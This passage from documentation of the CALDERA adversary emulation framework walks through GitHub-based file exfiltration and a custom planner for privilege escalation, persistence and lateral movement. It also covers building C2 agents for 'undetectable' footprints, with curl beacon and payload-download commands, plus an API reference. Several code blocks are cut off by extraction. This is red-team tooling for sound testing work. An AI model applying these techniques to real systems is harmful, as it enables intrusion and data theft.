If Safe Mode is enabled, CALDERA will not stage any files that do not end in “_pseudo”.
To provide a few examples, if safe mode is on with the value “_pseudo”:
• interesting_file.docx – matches the requested extension – will not be staged
• interesting_content.txt – matches the requested content – will not be staged
• interesting_pseudo_data.doc – matches the requested content – will not be staged because
“_pseudo” is in the wrong place
• uninteresting_file_pseudo.random – doesn’t match the requested extension – will not be staged
despite the “_pseudo”
• interesting_file_pseudo.docx – matches the requested extension – will be staged
• interesting_content_pseudo.txt – that matches the requested content – will be staged
# ---- Safe Mode - Only stages files with the appropriate file ending if enabled (e.
˓→ g. report_pseudo.docx)
- trait: safe.mode.enabled
value: false
- trait: pseudo.data.identifier
value: _pseudo
For this demonstration, we will be using the password-protected archive ability added in this update. The source
contains a default value of C4ld3ra but can be changed to anything if more security is required (e.g., real files used in
testing). As noted in the source file, certain special characters may be escaped when inserted into the command. This
may result in a different password than what you entered - view the operation logs to see exactly what was used. You
should still be able to decrypt the archive, but will need to include any escape characters added during the operation.
For example, Pa$$word may have become Pa\$\$word or Pa`$`$word.
# Encrypted Compression
# Note: For passwords with special characters like # and $, you may need to include
˓→escapes (\ or `)
# when re-entering the password to decrypt the archive. Examine the operation
˓→output to see the exact password used.
# If using special characters, put the password in 'single quotes' here to prevent
˓→parser errors.
# -------------------------------------
- trait: host.archive.password
value: C4ld3ra
20.7 Operation
3. Adjusted and reviewed the source file for the files we want to find and exclude, provided a staging location, and
provided a password
With all of that in place, fire up CALDERA as normal. For this demonstration, we’ll use a pre-built adversary, but you
can easily add other abilities (even multi-exfil paths) to your own adversary or operation.
Navigate to the Operations tab and hit “Create an Operation”. Fill in the name, select “Advanced Thief via GitHub
Repo” as the adversary, and finally select the source file (“Exfil Operation” if using the supplied file) containing the
facts we set up earlier. Adjust any settings under Advanced if desired, otherwise start the operation. The agent should
collect the requested files in the staging directory, compress them, and POST the files to the desired repository/branch.
The filename will be a timestamp (YYYYMMDDHHmmss), exfil, the agent’s paw, and the original file name.
In our demonstration, refreshing the repository shows the following: 20211112094022-exfil-gwsnys-s.tar.gz.gpg. This
file could then be downloaded an decrypted with the default password.
Operation cleanup should remove the compressed archive and the staging directory (+ contents). This cleanup does
not occur until the operation is terminated, so you could add another exfiltration (e.g. to Dropbox) in the interim.
20.7. Operation 93
caldera
TWENTYONE
WRAP-UP
That about does it! If you have any questions, please reach out to the team on Slack.
The following section contains information intended to help developers understand the inner workings of the
CALDERA adversary emulation tool, CALDERA plugins, or new tools that interface with the CALDERA server.
95
caldera
TWENTYTWO
Note: The original REST API has been deprecated. The new REST API v2 has been released, with documentation
available here after server startup. Alternatively, this can be viewed by scrolling to the bottom of the CALDERA
navigation menu and selecting “api docs.”
All REST API functionality can be viewed in the rest_api.py module in the source code.
22.1 /api/rest
You can interact with all parts of CALDERA through the core REST API endpoint /api/rest. If you send requests to
“localhost” - you are not required to pass a key header. If you send requests to 127.0.0.1 or any other IP addresses, the
key header is required. You can set the API key in the conf/default.yml file. Some examples below will use the header,
others will not, for example.
Any request to this endpoint must include an “index” as part of the request, which routes it to the appro-
priate object type.
Here are the available REST API functions:
22.2 Agents
22.2.1 DELETE
22.2.2 POST
97
caldera
You can optionally POST an obfuscator and/or a facts dictionary with key/value pairs to fill in any vari-
ables the chosen ability requires.
{"paw":"$PAW","ability_id":"$ABILITY_ID","obfuscator":"base64","facts":[{"name":
˓→"username","value":"admin"},{"name":"password", "value":"123"}]}
22.3 Adversaries
View all abilities for a specific adversary_id (the UUID of the adversary).
22.4 Operations
22.4.1 DELETE
22.4.2 POST
Change the state of any operation. In addition to finished, you can also use: paused, run_one_link or running.
22.4.3 PUT
Create a new operation. All that is required is the operation name, similar to creating a new operation in the browser.
22.5 /file/upload
Files can be uploaded to CALDERA by POST’ing a file to the /file/upload endpoint. Uploaded files will be put in the
exfil_dir location specified in the default.yml file.
22.5.1 Example
22.6 /file/download
Files can be dowloaded from CALDERA through the /file/download endpoint. This endpoint requires an HTTP header
called “file” with the file name as the value. When a file is requested, CALDERA will look inside each of the payload
directories listed in the local.yml file until it finds a file matching the name.
Files can also be downloaded indirectly through the payload block of an ability.
Additionally, the 54ndc47 plugin delivery commands utilize the file download endpoint to drop the agent
on a host
22.6.1 Example
22.5. /file/upload 99
caldera
TWENTYTHREE
Building your own plugin allows you to add custom functionality to CALDERA.
A plugin can be nearly anything, from a RAT/agent (like 54ndc47) to a new GUI or a collection of abilities that you
want to keep in “closed-source”.
Plugins are stored in the plugins directory. If a plugin is also listed in the local.yml file, it will be loaded into
CALDERA each time the server starts. A plugin is loaded through its hook.py file, which is “hooked” into the
core system via the server.py (main) module.
When constructing your own plugins, you should avoid importing modules from the core code base, as
these can change. There are two exceptions to this rule
1. The services dict() passed to each plugin can be used freely. Only utilize the public functions on
these services however. These functions will be defined on the services’ corresponding interface.
2. Any c_object that implements the FirstClassObjectInterface. Only call the functions on this inter-
face, as the others are subject to changing.
This guide is useful as it covers how to create a simple plugin from scratch. However, if this is old news to you and
you’re looking for an even faster start, consider trying out Skeleton (a plugin for building other plugins). Skeleton will
generate a new plugin directory that contains all the standard boilerplate.
Start by creating a new directory called “abilities” in CALDERA’s plugins directory. In this directory, create a hook.py
file and ensure it looks like this:
name = 'Abilities'
description = 'A sample plugin for demonstration purposes'
address = None
The name should always be a single word, the description a phrase, and the address should be None, unless your plugin
exposes new GUI pages. Our example plugin will be called “abilities”.
101
caldera
The enable function is what gets hooked into CALDERA at boot time. This function accepts one parameter:
1. services: a list of core services that CALDERA creates at boot time, which allow you to interact with the core
system in a safe manner.
Core services can be found in the app/services directory.
Now it’s time to fill in your own enable function. Let’s start by appending a new REST API endpoint to the server.
When this endpoint is hit, we will direct the request to a new class (AbilityFetcher) and function (get_abilities). The
full hook.py file now looks like:
from aiohttp import web
name = 'Abilities'
description = 'A sample plugin for demonstration purposes'
address = None
class AbilityFetcher:
Now that our initialize function is filled in, let’s add the plugin to the default.yml file and restart CALDERA. Once
running, in a browser or via cURL, navigate to 127.0.0.1:8888/get/abilities. If all worked, you should get a JSON
response back, with all the abilities within CALDERA.
Now we have a usable plugin, but we want to make it more visually appealing.
Start by creating a “templates” directory inside your plugin directory (abilities). Inside the templates directory, create
a new file called abilities.html. Ensure the content looks like:
<div id="abilities-new-section" class="section-profile">
<div class="row">
<div class="topleft duk-icon"><img onclick="removeSection('abilities-new-
˓→section')" src="/gui/img/x.png"></div>
Then, back in your hook.py file, let’s fill in the address variable and ensure we return the new abilities.html page when
a user requests 127.0.0.1/get/abilities. Here is the full hook.py:
name = 'Abilities'
description = 'A sample plugin for demonstration purposes'
address = '/plugin/abilities/gui'
class AbilityFetcher:
def __init__(self, services):
self.services = services
self.auth_svc = services.get('auth_svc')
@check_authorization
@template('abilities.html')
async def splash(self, request):
abilities = await self.services.get('data_svc').locate('abilities')
return(dict(abilities=[a.display for a in abilities]))
Restart CALDERA and navigate to the home page. Be sure to run server.py with the --fresh flag to flush the
previous object store database.
You should see a new “abilities” tab at the top, clicking on this should navigate you to the new abilities.html page you
created.
Any Markdown or reStructured text in the plugin’s docs/ directory will appear in the documentation generated by
the fieldmanual plugin. Any resources, such as images and videos, will be added as well.
TWENTYFOUR
For any desired planner decision logic not encapsulated in the default batch planner (or any other existing planner),
CALDERA requires that a new planner be implemented to encode such decision logic.
24.1 Buckets
The cornerstone of how planners make decisions is centered on a concept we call ‘buckets’. Buckets denote the
planner’s state machine and are intended to correspond to buckets of CALDERA abilities. Within a planner, macro
level decision control is encoded by specifying which buckets (i.e. states) follow other buckets, thus forming a bucket
state machine. Micro level decisions are made within the buckets, by specifying any logic detailing which abilities to
send to agents and when to do so.
CALDERA abilities are also tagged by the buckets they are in. By default, when abilities are loaded by CALDERA,
they are tagged with the bucket of the ATT&CK technique they belong to. CALDERA abilities can also be
tagged/untagged at will by any planner as well, before starting the operation or at any point in it. The intent is
for buckets to work with the abilities that have been tagged for that bucket, but this is by no means enforced.
Let’s dive into creating a planner to see the power and flexibility of the CALDERA planner component. For this
example, we will implement a planner that will carry out the following state machine:
105
caldera
The planner will consist of 5 buckets: Privilege Escalation, Collection, Persistence, Discovery, and Lateral Movement.
As implied by the state machine, this planner will use the underlying adversary abilities to attempt to spread to as
many hosts as possible and establish persistence. As an additional feature, if an agent cannot obtain persistence due to
unsuccessful privilege escalation attempts, then the agent will execute collection abilities immediately in case it loses
access to the host.
This document will walk through creating three basic components of a planner module (initialization, entrypoint
method, and bucket methods), creating the planner data object, and applying the planner to a new operation.
We will create a python module called privileged_persistence.py and nest it under app/ in the mitre/
stockpile plugin at plugins/stockpile/app/privileged_persistence.py.
First, lets build the static initialization of the planner:
class LogicalPlanner:
self.next_bucket = 'privilege_escalation'
The __init__() method for a planner must take and store the required arguments for the operation instance,
planning_svc handle, and any supplied stopping_conditions.
Additionally, self.stopping_condition_met, which is used to control when to stop bucket execution, is
initially set to False. During bucket execution, this property will be set to True if any facts gathered by the
operation exactly match (both name and value) any of the facts provided in stopping_conditions. When this
occurs, the operation will stop running new abilities.
self.state_machine = ['privilege_escalation', 'persistence', 'collection',
˓→ 'discovery', 'lateral_movement']
The self.state_machine variable is an optional list enumerating the base line order of the planner state machine.
This ordered list does not control the bucket execution order, but is used to define a base line state machine that we
can refer back to in our decision logic. This will be demonstrated in our example below when we create the bucket
methods.
self.next_bucket = 'privilege_escalation'
The self.next_bucket variable holds the next bucket to be executed. This is the next bucket that the planner
will enter and whose bucket method will next control the planning logic. Initially, we set self.next_bucket to
the first bucket the planner will begin in. We will modify self.next_bucket from within our bucket methods in
order to specify the next bucket to execute.
Additional Planner class variables
It is also important to note that a planner may define any required variables that it may need. For instance, many
custom planners require information to be passed from one bucket to another during execution. This can be done by
creating class variables to store information which can be accessed within any bucket method and will persist between
bucket transitions.
Now, lets the define the planner’s entrypoint method: execute
async def execute(self):
await self.planning_svc.execute_planner(self)
execute is where the planner starts and where any runtime initialization is done. execute_planner works by
executing the bucket specified by self.next_bucket until the self.stopping_condition_met variable
is set to True. For our planner, no further runtime initialization is required in the execute method.
Finally, lets create our bucket methods:
async def privilege_escalation(self):
ability_links = await self.planning_svc.get_links(self.operation, buckets=[
˓→'privilege escalation'])
if successful:
self.next_bucket = 'persistence'
else:
self.next_bucket = 'collection'
if lateral_movement_unlocked:
self.next_bucket = await self.planning_svc.default_next_bucket('discovery
˓→', self.state_machine)
else:
# planner will transtion from this bucket to being done
self.next_bucket = None
self.next_bucket = 'privilege_escalation'
These bucket methods are where all inter-bucket transitions and intra-bucket logic will be encoded. For every bucket
in our planner state machine, we must define a corresponding bucket method.
Lets look at each of the bucket methods in detail:
• privilege_escalation() - We first use get_links planning service utility to retrieve all abilities
(links) tagged as privilege escalation from the operation adversary. We then push these links to the agent
with apply and wait for these links to complete with wait_for_links_completion(), both from the
operation utility. After the links complete, we check for the creation of custom facts that indicate the privilege
escalation was successful (Note: this assumes the privilege escalation abilities we are using create custom facts
in the format “{paw}.privilege.root” or “{paw}.privilege.admin” with values of True or False). If privilege
escalation was successful, set the next bucket to be executed to persistence, otherwise collection.
• persistence(), collection(), lateral_movement() - These buckets have no complex logic,
we just want to execute all links available and are tagged for the given bucket. We can use the
exhaust_bucket() planning service utility to apply all links for the given bucket tag. Before ex-
iting, we set the next bucket as desired. Note that in the persistence() bucket we use the
default_next_bucket() planning service utility, which will automatically choose the next bucket after
“persistence” in the provided self.state_machine ordered list.
• discovery() - This bucket starts by running all discovery ability links available. Then we utilize a useful
trick to determine if the planner should proceed to the lateral movement bucket. We use get_links() to
determine if the discovery links that were just executed ended up unlocking ability links for lateral movement.
From there we set the next bucket accordingly.
Additional Notes on Privileged Persistence Planner
• You may have noticed that the privileged_persistence planner is only notionally more sophisticated than running
certain default adversary profiles. This is correct. If you can find or create an adversary profile whose ability
enumeration (i.e. order) can carry out your desired operational progression between abilities and can be executed
in batch (by the default batch planner) or in a sequentially atomic order (by atmomic planner), it is advised to
go that route. However, any decision logic above those simple planners will have to be implemented in a new
planner.
• The privileged persistence planner did not have explicit logic to handle multiple agents. We just assumed the
planner buckets would only have to handle a single active agent given the available ability links returned from
the planning service.
In order to use this planner inside CALDERA, we will create the following YAML file at plugins/stockpile/
data/planners/80efdb6c-bb82-4f16-92ae-6f9d855bfb0e.yml:
---
id: 80efdb6c-bb82-4f16-92ae-6f9d855bfb0e
name: privileged_persistence
description: |
Privileged Persistence Planner: Attempt to spread to as many hosts as possible and
˓→establish persistence.
This will create a planner in CALDERA which will call the module we’ve created at plugins.stockpile.app.
privileged_persistence.
NOTE: For planners intended to be used with profiles containing repeatable abilities,
allow_repeatable_abilities: True must be added to the planner YAML file. Otherwise, CALDERA
will default the value to False and assume the planner does not support repeatable abilities.
To use the planner, create an Operation and select the “Use privileged_persistence planner” option in the planner
dropdown (under Autonomous). Any selected planner will use the abilities in the selected adversary profile during the
operation. Since abilities are automatically added to buckets which correlate to MITRE ATT&CK tactics, any abilities
with the following tactics will be executed by the privileged_persistence planner: privilege_escalation, persistence,
collection, discovery, and lateral_movement.
Custom planners do not have to use the buckets approach to work with the CALDERA operation interface if not
desired. Here is a minimal planner that will still work with the operation interface.
class LogicalPlanner:
In addition to the basic (name, value) information present in facts and documented in Basic Usage, there are some
additional fields that may prove useful when developing and working with planners.
As of Caldera v4.0, facts now have the new origin_type and source fields, which identify how Caldera learned
that fact. There are 5 possible values for the origin_type field:
• DOMAIN - This fact originates from Caldera’s general knowledge about environments
• SEEDED - This fact originates from a source file, which was used to seed an operation
• LEARNED - This fact originates from an operation, which uncovered it
• IMPORTED - This fact originates from a previous operation, or another pre-existing fact collection
• USER - This fact originates from a User, i.e. was entered through the GUI
The source field, on the other hand, contains a UUID4 that corresponds to the originating object described by
origin_type.
As of Caldera v4.0, facts also now have new fields in them that track the Links and Relationships that have contributed
to that fact in some way, accessible as links and relationships respectively. Each of these properties is a
list of corresponding objects, with links corresponding to all Link objects that generated/identified this Fact, and
relationships corresponding to all Relationship objects that reference this Fact.
One potentially useful Fact property for planners is the score property. This tracks how many times a fact has been
used successfully in links, allowing facts to have an inherent ‘weight’ to them when they are useful. Facts start with a
score of 1, a value that typically increases by 1 every time a link uses it (though scores can be increased or decreased
by varying amounts by other means). For context, a link’s score, when generated by Caldera’s core planning services,
is simply the sum of the scores of the facts utilized by that link.
Within a planner, all public utilities are available from self.operation. The following may assist in planner
development:
• apply() - Add a link to the operation.
• wait_for_links_completion() - Wait for started links to be completed.
• all_facts() - Return a list of all facts collected during an operation. These will include both learned and
seeded (from the operation source) facts.
• has_fact() - Search an operation for a fact with a particular name and value.
• all_relationships() - Return a list of all relationships collected during an operation.
• active_agents() - Find all agents in the operation that have been active since operation start.
As of Caldera V4.0, a new service has been added to the core of Caldera for use with planners and other components
that make use of facts: the Knowledge Service. This service allows the creation, retrieval, updating, and deletion of
facts, relationships, and rules. Typically, users should not need to interact with this service directly, as common usage
patterns are already baked into core objects such as Link, Agent, and Operation, but the service can be accessed
by using BaseService.get_service('knowledge_svc'), should the need arise for more complex inter-
actions with the available data. The Knowledge Service stores data persistently in the same manner that Caldera’s
internal Data Service does (by writing it to a file on shutdown), and can be cleared in much the same way if necessary
(by using the --fresh argument on the server).
The following methods are available from the Knowledge Service:
app.objects.secondclass.c_fact
app.objects.secondclass.c_relationship
app.objects.secondclass.c_rule
All objects added to the Knowledge service are checked against existing objects in order to enforce de-duplication,
with one caveat. As origin is tracked for facts generated by links in the current implementation, this means duplicate
facts created during different operations can exist in the fact store simultaneously. Facts/Relationships are usually
automatically added to the fact store by Link objects as part of the process of parsing output, though they can be
added manually should the need arise.
TWENTYFIVE
Building your own agent is a way to create a unique - or undetectable - footprint on compromised machines. Our
default agent, 54ndc47, is a representation of what an agent can do. This agent is written in GoLang and offers an
extensible collection of command-and-control (C2) protocols, such as communicating over HTTP or GitHub Gist.
You can extend 54ndc47 by adding your own C2 protocols in place or you can follow this guide to create your own
agent from scratch.
Agents are processes which are deployed on compromised hosts and connect with the C2 server periodically for
instructions. An agent connects to the server through a contact, which is a specific connection point on the server.
Each contact is defined in an independent Python module and is registered with the contact_svc when the server starts.
There are currently several built-in contacts available: http, tcp, udp, websocket, gist (via Github), and dns.
For additional stealth, supporting agents can use communication tunnels to tunnel built-in contacts like HTTP, TCP,
and UDP. For more information on C2 communication tunneling, see the C2 tunneling section.
Start by getting a feel for the HTTP endpoint, which are located in the contacts/contact_http.py module.
POST /beacon
25.2.1 Part #1
115
caldera
• group: Either red or blue. This determines if your agent will be used as a red or blue agent.
• paw: The current unique identifier for the agent, either initially generated by the agent itself or provided by the
C2 on initial beacon.
• username: The username running the agent
• architecture: The architecture of the host
• executors: A list of executors allowed on the host
• privilege: The privilege level of the agent process, either User or Elevated
• pid: The process identifier of the agent
• ppid: The process identifier of the agent’s parent process
• location: The location of the agent on disk
• exe_name: The name of the agent binary file
• host_ip_addrs: A list of valid IPv4 addresses on the host
• proxy_receivers: a dict (key: string, value: list of strings) that maps a peer-to-peer proxy protocol name to a
list of addresses that the agent is listening on for peer-to-peer client requests.
• deadman_enabled: a boolean that tells the C2 server whether or not this agent supports deadman abilities. If
this value is not provided, the server assumes that the agent does not support deadman abilities.
• upstream_dest: The “next hop” upstream destination address (e.g. IP or FQDN) that the agent uses to reach
the C2 server. If the agent is using peer-to-peer communication to reach the C2, this value will contain the peer
address rather than the C2 address.
At this point, you are ready to make a POST request with the profile to the /beacon endpoint. You should get back:
1. The recommended number of seconds to sleep before sending the next beacon
2. The recommended number of seconds (watchdog) to wait before killing the agent, once the server is unreachable
(0 means infinite)
3. A list of instructions - base64 encoded.
profile=$(echo '{"server":"http://127.0.0.1:8888","platform":"darwin","executors":["sh
˓→"]}' | base64)
If you get a malformed base64 error, that means the operating system you are using is adding an empty space to the
profile variable. You can prove this by
echo $profile
To resolve this error, simply change the line to (note the only difference is ‘-w 0’):
profile=$(echo '{"server":"http://127.0.0.1:8888","platform":"darwin","executors":["sh
˓→"]}' | base64 -w 0)
The paw property returned back from the server represents a unique identifier for your new agent. Each
time you call the /beacon endpoint without this paw, a new agent will be created on the server - so you
should ensure that future beacons include it.
You can now navigate to the CALDERA UI, click into the agents tab and view your new agent.
25.2.2 Part #2
25.2.3 Part #3
Inside each instruction, there is an optional payload property that contains a filename of a file to download before run-
ning the instruction. To implement this, add a file download capability to your agent, directing it to the /file/download
endpoint to retrieve the file:
payload='some_file_name.txt"
curl -X POST -H "file:$payload" http://localhost:8888/file/download > some_file_name.
˓→txt
25.2.4 Part 4
Inside each instruction, there is an optional uploads property that contains a list of filenames to upload to the C2 after
running the instruction and submitting the execution results. To implement this, add a file upload capability to your
agent. If using the HTTP contact, the file upload should hit the /file/upload upload endpoint of the server.
25.2.5 Part #5
You should implement the watchdog configuration. This property, passed to the agent in every beacon, contains the
number of seconds to allow a dead beacon before killing the agent.
Additionally, you may want to take advantage of CALDERA’s lateral movement tracking capabilities. CALDERA’s
current implementation for tracking lateral movement depends on passing the ID of the Link spawning the agent as an
argument to the agent’s spawn command and upon the agent’s check in, for this Link ID to be returned as part of the
agent’s profile. The following section explains how lateral movement tracking has been enabled for the default agent,
54ndc47.
25.3.1 54ndc47
An example 54ndc47 spawn command has been copied from the Service Creation ability and included below for
reference:
If the CALDERA server is running on http://192.168.0.1:8888 and the ID of the Link with the spawn
command is cd63fdbb-0f3a-49ea-b4eb-306a3ff40f81, the populated command will appear as:
The 54ndc47 agent stores the value of this global variable in its profile, which is then re-
turned to the CALDERA server upon first check-in as a key\value pair origin_link_id :
cd63fdbb-0f3a-49ea-b4eb-306a3ff40f81 in the JSON dictionary. The CALDERA server will au-
tomatically store this pair when creating the Agent object and use it when generating the Attack Path graph in the
Debrief plugin.
NOTE: The origin_link_id key is optional and not required for the CALDERA server to register and use
new agents as expected. It is only required to take advantage of the lateral movement tracking in the Debrief
plugin.
TWENTYSIX
APP
26.1.1 Subpackages
app.api namespace
Subpackages
app.api.packs namespace
Submodules
app.api.packs.advanced module
class app.api.packs.advanced.AdvancedPack(services)
Bases: app.utility.base_world.BaseWorld
async enable()
app.api.packs.campaign module
class app.api.packs.campaign.CampaignPack(services)
Bases: app.utility.base_world.BaseWorld
async enable()
app.api.v2 package
Subpackages
app.api.v2.handlers namespace
Submodules
119
caldera
app.api.v2.handlers.ability_api module
class app.api.v2.handlers.ability_api.AbilityApi(services)
Bases: app.api.v2.handlers.base_object_api.BaseObjectApi
add_routes(app: aiohttp.web_app.Application)
async create_ability(request: aiohttp.web_request.Request)
async create_or_update_ability(request: aiohttp.web_request.Request)
async delete_ability(request: aiohttp.web_request.Request)
async get_abilities(request: aiohttp.web_request.Request)
async get_ability_by_id(request: aiohttp.web_request.Request)
async update_ability(request: aiohttp.web_request.Request)
app.api.v2.handlers.adversary_api module
class app.api.v2.handlers.adversary_api.AdversaryApi(services)
Bases: app.api.v2.handlers.base_object_api.BaseObjectApi
add_routes(app: aiohttp.web_app.Application)
async create_adversary(request: aiohttp.web_request.Request)
async create_on_disk_object(request: aiohttp.web_request.Request)
async create_or_update_adversary(request: aiohttp.web_request.Request)
async delete_adversary(request: aiohttp.web_request.Request)
async get_adversaries(request: aiohttp.web_request.Request)
async get_adversary_by_id(request: aiohttp.web_request.Request)
async update_adversary(request: aiohttp.web_request.Request)
app.api.v2.handlers.agent_api module
class app.api.v2.handlers.agent_api.AgentApi(services)
Bases: app.api.v2.handlers.base_object_api.BaseObjectApi
add_routes(app: aiohttp.web_app.Application)
async create_agent(request: aiohttp.web_request.Request)
async create_or_update_agent(request: aiohttp.web_request.Request)
async delete_agent(request: aiohttp.web_request.Request)
async get_agent_by_id(request: aiohttp.web_request.Request)
async get_agents(request: aiohttp.web_request.Request)
async get_deploy_commands(request: aiohttp.web_request.Request)
async get_deploy_commands_for_ability(request: aiohttp.web_request.Request)
async update_agent(request: aiohttp.web_request.Request)
app.api.v2.handlers.base_api module
app.api.v2.handlers.base_object_api module
app.api.v2.handlers.config_api module
class app.api.v2.handlers.config_api.ConfigApi(services)
Bases: app.api.v2.handlers.base_api.BaseApi
add_routes(app: aiohttp.web_app.Application)
async get_config_with_name(request)
async update_agents_config(request)
async update_main_config(request)
app.api.v2.handlers.contact_api module
class app.api.v2.handlers.contact_api.ContactApi(services)
Bases: app.api.v2.handlers.base_api.BaseApi
add_routes(app: aiohttp.web_app.Application)
async get_available_contact_reports(request: aiohttp.web_request.Request)
async get_contact_report(request: aiohttp.web_request.Request)
app.api.v2.handlers.fact_api module
class app.api.v2.handlers.fact_api.FactApi(services)
Bases: app.api.v2.handlers.base_object_api.BaseObjectApi
async add_facts(request: aiohttp.web_request.Request)
async add_relationships(request: aiohttp.web_request.Request)
add_routes(app: aiohttp.web_app.Application)
async delete_facts(request: aiohttp.web_request.Request)
async delete_relationships(request: aiohttp.web_request.Request)
async get_facts(request: aiohttp.web_request.Request)
async get_relationships(request: aiohttp.web_request.Request)
async update_facts(request: aiohttp.web_request.Request)
async update_relationships(request: aiohttp.web_request.Request)
app.api.v2.handlers.fact_source_api module
class app.api.v2.handlers.fact_source_api.FactSourceApi(services)
Bases: app.api.v2.handlers.base_object_api.BaseObjectApi
add_routes(app: aiohttp.web_app.Application)
async create_fact_source(request: aiohttp.web_request.Request)
async create_or_update_source(request: aiohttp.web_request.Request)
async delete_source(request: aiohttp.web_request.Request)
async get_fact_source_by_id(request: aiohttp.web_request.Request)
async get_fact_sources(request: aiohttp.web_request.Request)
async update_fact_source(request: aiohttp.web_request.Request)
app.api.v2.handlers.health_api module
class app.api.v2.handlers.health_api.HealthApi(services)
Bases: app.api.v2.handlers.base_api.BaseApi
add_routes(app: aiohttp.web_app.Application)
async get_health_info(request)
app.api.v2.handlers.obfuscator_api module
class app.api.v2.handlers.obfuscator_api.ObfuscatorApi(services)
Bases: app.api.v2.handlers.base_object_api.BaseObjectApi
add_routes(app: aiohttp.web_app.Application)
async get_obfuscator_by_name(request: aiohttp.web_request.Request)
async get_obfuscators(request: aiohttp.web_request.Request)
app.api.v2.handlers.objective_api module
class app.api.v2.handlers.objective_api.ObjectiveApi(services)
Bases: app.api.v2.handlers.base_object_api.BaseObjectApi
add_routes(app: aiohttp.web_app.Application)
async create_objective(request: aiohttp.web_request.Request)
async create_or_update_objective(request: aiohttp.web_request.Request)
async get_objective_by_id(request: aiohttp.web_request.Request)
async get_objectives(request: aiohttp.web_request.Request)
async update_objective(request: aiohttp.web_request.Request)
app.api.v2.handlers.operation_api module
class app.api.v2.handlers.operation_api.OperationApi(services)
Bases: app.api.v2.handlers.base_object_api.BaseObjectApi
add_routes(app: aiohttp.web_app.Application)
async create_object(request: aiohttp.web_request.Request)
async create_operation(request: aiohttp.web_request.Request)
async create_potential_link(request: aiohttp.web_request.Request)
async delete_operation(request: aiohttp.web_request.Request)
async get_operation_by_id(request: aiohttp.web_request.Request)
async get_operation_event_logs(request: aiohttp.web_request.Request)
async get_operation_link(request: aiohttp.web_request.Request)
async get_operation_link_result(request: aiohttp.web_request.Request)
async get_operation_links(request: aiohttp.web_request.Request)
app.api.v2.handlers.planner_api module
class app.api.v2.handlers.planner_api.PlannerApi(services)
Bases: app.api.v2.handlers.base_object_api.BaseObjectApi
add_routes(app: aiohttp.web_app.Application)
async get_planner_by_id(request: aiohttp.web_request.Request)
async get_planners(request: aiohttp.web_request.Request)
app.api.v2.handlers.plugins_api module
class app.api.v2.handlers.plugins_api.PluginApi(services)
Bases: app.api.v2.handlers.base_object_api.BaseObjectApi
add_routes(app: aiohttp.web_app.Application)
async get_plugin_by_name(request: aiohttp.web_request.Request)
async get_plugins(request: aiohttp.web_request.Request)
app.api.v2.handlers.schedule_api module
class app.api.v2.handlers.schedule_api.ScheduleApi(services)
Bases: app.api.v2.handlers.base_object_api.BaseObjectApi
add_routes(app: aiohttp.web_app.Application)
async create_object(request: aiohttp.web_request.Request)
async create_or_update_object(request: aiohttp.web_request.Request)
async create_or_update_schedule(request: aiohttp.web_request.Request)
async create_schedule(request: aiohttp.web_request.Request)
async delete_schedule(request: aiohttp.web_request.Request)
async get_schedule_by_id(request: aiohttp.web_request.Request)
async get_schedules(request: aiohttp.web_request.Request)
async update_schedule(request: aiohttp.web_request.Request)
app.api.v2.managers namespace
Submodules
app.api.v2.managers.ability_api_manager module
class app.api.v2.managers.ability_api_manager.AbilityApiManager(data_svc,
file_svc)
Bases: app.api.v2.managers.base_api_manager.BaseApiManager
async create_on_disk_object(data: dict, access: dict, ram_key: str, id_property: str,
obj_class: type)
async replace_on_disk_object(obj: Any, data: dict, ram_key: str, id_property: str)
async update_on_disk_object(obj: Any, data: dict, ram_key: str, id_property: str, obj_class:
type)
app.api.v2.managers.adversary_api_manager module
class app.api.v2.managers.adversary_api_manager.AdversaryApiManager(data_svc,
file_svc)
Bases: app.api.v2.managers.base_api_manager.BaseApiManager
async verify_adversary(adversary: app.objects.c_adversary.Adversary)
app.api.v2.managers.agent_api_manager module
app.api.v2.managers.base_api_manager module
app.api.v2.managers.config_api_manager module
class app.api.v2.managers.config_api_manager.ConfigApiManager(data_svc,
file_svc, con-
fig_interface=None)
Bases: app.api.v2.managers.base_api_manager.BaseApiManager
get_filtered_config(name)
Return the configuration for the input name with sensitive fields removed.
async update_global_agent_config(sleep_min: int = None, sleep_max: int = None, watch-
dog: int = None, untrusted_timer: int = None, im-
plant_name: str = None, bootstrap_abilities: List[str]
= None, deadman_abilities=None)
update_main_config(prop, value)
exception app.api.v2.managers.config_api_manager.ConfigNotFound(config_name,
mes-
sage=None)
Bases: Exception
exception app.api.v2.managers.config_api_manager.ConfigUpdateNotAllowed(property,
mes-
sage=None)
Bases: Exception
app.api.v2.managers.config_api_manager.filter_keys(mapping, keys_to_remove)
app.api.v2.managers.config_api_manager.filter_sensitive_props(config_map)
Return a copy of config_map with top-level sensitive keys removed.
app.api.v2.managers.config_api_manager.is_sensitive_prop(prop)
Return True if the input prop is a sensitive configuration property.
app.api.v2.managers.contact_api_manager module
class app.api.v2.managers.contact_api_manager.ContactApiManager(data_svc,
file_svc, con-
tact_svc)
Bases: app.api.v2.managers.base_api_manager.BaseApiManager
get_available_contact_reports()
get_contact_report(contact: str = None)
app.api.v2.managers.fact_api_manager module
app.api.v2.managers.operation_api_manager module
class app.api.v2.managers.operation_api_manager.OperationApiManager(services)
Bases: app.api.v2.managers.base_api_manager.BaseApiManager
build_ability(data: dict, executor: app.objects.secondclass.c_executor.Executor)
build_executor(data: dict, agent: app.objects.c_agent.Agent)
async create_object_from_schema(schema: marshmallow.schema.SchemaMeta, data: dict,
access: app.utility.base_world.BaseWorld.Access, ex-
isting_operation: app.objects.c_operation.Operation =
None)
async create_potential_link(operation_id: str, data: dict, access:
app.utility.base_world.BaseWorld.Access)
async find_and_update_object(ram_key: str, data: dict, search: dict = None)
async get_agent(operation: app.objects.c_operation.Operation, data: dict)
async get_operation_event_logs(operation_id: str, access: dict, output: bool)
async get_operation_link(operation_id: str, link_id: str, access: dict)
async get_operation_link_result(operation_id: str, link_id: str, access: dict)
async get_operation_links(operation_id: str, access: dict)
async get_operation_object(operation_id: str, access: dict)
async get_operation_report(operation_id: str, access: dict, output: bool)
async get_potential_links(operation_id: str, access: dict, paw: str = None)
search_operation_for_link(operation: app.objects.c_operation.Operation, link_id: str)
app.api.v2.managers.schedule_api_manager module
class app.api.v2.managers.schedule_api_manager.ScheduleApiManager(services)
Bases: app.api.v2.managers.operation_api_manager.OperationApiManager
create_object_from_schema(schema: marshmallow.schema.SchemaMeta, data: dict, access:
app.utility.base_world.BaseWorld.Access)
find_and_update_object(ram_key: str, data: dict, search: dict = None)
update_object(obj: Any, data: dict)
async validate_and_setup_task(data: dict, access: app.utility.base_world.BaseWorld.Access)
app.api.v2.schemas namespace
Submodules
app.api.v2.schemas.base_schemas module
